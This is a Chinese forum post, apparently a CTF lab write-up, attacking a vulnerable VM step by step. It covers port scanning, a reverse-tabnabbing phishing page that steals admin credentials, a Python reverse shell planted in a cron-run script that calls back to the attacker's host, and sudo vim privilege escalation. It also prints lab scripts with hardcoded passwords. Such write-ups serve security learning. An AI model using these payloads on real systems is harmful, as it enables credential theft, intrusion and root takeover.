本帖最后由 Happiness 于 2024-1-15 11:45 编辑
0x01 靶机信息
0x02 Write-Up 2.1 主机探测 工具:netdiscover - netdiscover -r 192.168.181.0/24
复制代码发现目标服务器 192.168.181.138
2.2 masscan扫描端口信息 - iptables -A INPUT -p tcp --dport 61000 -j ACCEPT
- 开放61000端口以便目标服务器返回数据包
- masscan 192.168.181.138 -p0-65535 --rate=1000000 --banners --source-port 61000
- -p端口,rate=1000000(1M)速度,--banners 返回banners信息,--source-port指定返回的端口
复制代码发现了22和80端口
2.3 观察网站 发现登录页面
注册用户user
主页面有提交博客链接的功能
- Please submit your link so that we can get started. All links will be reviewed by our admin
- 请提交您的链接,以便我们开始。所有链接都将由我们的管理员审核
复制代码上面说所有提交的链接都会被管理员审核,提交链接并查看前端代码
2.4 实现钓鱼攻击
上文前端代码中使用了a标签来打开一个新页面,而且target属性为\_blank,当你使用这个target属性会打开一个新的标签页,此时新页面window对象上的属性opener,它继承了前一个页面的window对象,因此,后一个页面就获得了前一个页面的控制权。而代码中没有添加任何限制属性,例如rel='noreferrer 或noopener' 综上所述我们可以尝试tabnabbing钓鱼攻击。
2.4.1 准备钓鱼页面 靶机模拟用户点击发送数据,因此这里只要准备恶意页面即可 恶意页面 :fake.html - <!DOCTYPE html>
- <html>
- <body>
- <script>
- window.opener.location = "http://192.168.181.136:4444";
- </script>
- </body>
- </html>
复制代码2.4.2 用python3开启http服务 将页面保存至server目录下并开启http服务 - python3 -m http.server 80
复制代码
2.4.3 在kali上开启监听端口 kali上开启4444端口接收数据
2.4.4 到网站提交钓鱼url
等待管理员审核即可获取
%40这是url编码,解码是@ 获取到帐号daniel,密码C@ughtm3napping123 2.5 ssh登录 在网站登录失败了,尝试22端口的ssh - ssh daniel@192.168.181.138
复制代码
查看用户信息和组内文件 - id 查看用户信息
- find / -group administrators -type f 2>/dev/null
- / 根目录开始 -group 选择组 -type 类型 f文件类型 2错误显示丢入null
- find / -group daniel -type f 2> /dev/null
复制代码发现用户adrian有管理员组的权限,在adrian家目录下有个可执行脚本 query.py
到目录下发现有三个文件 query.py,sit_status.txt,user.txt 目前user.txt没有权限
query.py会将网站访问状态写入site_status.txt,根据txt内容可以判断是一个定时执行的脚本
用户没有特殊权限,我们继续下一步利用脚本反弹shell,获取用户adrian的权限
2.6 利用定时脚本创建反弹shell 将python反弹shell写入query.py - import socket,subprocess,os;
- s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);
- s.connect(("192.168.181.136",5555));
- os.dup2(s.fileno(),0);
- os.dup2(s.fileno(),1);
- os.dup2(s.fileno(),2);
- import pty;
- pty.spawn("/bin/bash")
复制代码
在kali上开启5555端口监听
此用户可以不用密码执行root权限的vim
2.7 vim提权获取最终flag 利用vim提权 - sudo vim
- :set shell=/bin/sh
- :shell
复制代码查看最终flag,root.txt
2.8 目标机程序解读 查看刚才没有权限打开的user.txt - You are nearly there!
- 你很接近了
复制代码这个文件说明我们做的是正确的
在/root目录下有三个脚本 del_links.py,del_users.py,nap.py del_links.py 作用是清空links表 - import mysql.connector
- mydb = mysql.connector.connect(
- host="localhost",
- user="adrian",
- password="P@sswr0d456",
- database="website"
- )
- mycursor = mydb.cursor()
- mycursor.execute("TRUNCATE TABLE links")
- mydb.close()
复制代码del_users.py 清除users表 - import mysql.connector
- mydb = mysql.connector.connect(
- host="localhost",
- user="adrian",
- password="P@sswr0d456",
- database="website"
- )
- mycursor = mydb.cursor()
- mycursor.execute("TRUNCATE TABLE users")
- mydb.close()
复制代码nap.py 是用来输入账户密码到我们给的链接中 - import requests
- import re
- import mysql.connector
- mydb = mysql.connector.connect(
- host="localhost",
- user="adrian",
- password="P@sswr0d456",
- database="website"
- )
- mycursor = mydb.cursor()
- mycursor.execute("SELECT * FROM links")
- myresult = mycursor.fetchall()
- data = {
- "username":"daniel",
- "password":"C@ughtm3napping123"
- }
- for x in myresult:
- url1 = x[0]
- try:
- r1 = requests.get(url1,timeout=2)
- search = r1.text
- if (search.find('location.replace') != -1):
- match = re.findall("http(.*)\);",search)
- new_url = 'http' + match[0].rstrip(match[0][-1])
- r2 = requests.post(new_url,data=data,timeout=2)
- elif (search.find('opener.location') != -1):
- match = re.findall("http(.*);",search)
- new_url = 'http' + match[0].rstrip(match[0][-1])
- r2 = requests.post(new_url,data=data,timeout=2)
- except requests.exceptions.ReadTimeout:
- continue
复制代码系统会定时执行这三个脚本
query.py是adrian的定时任务
|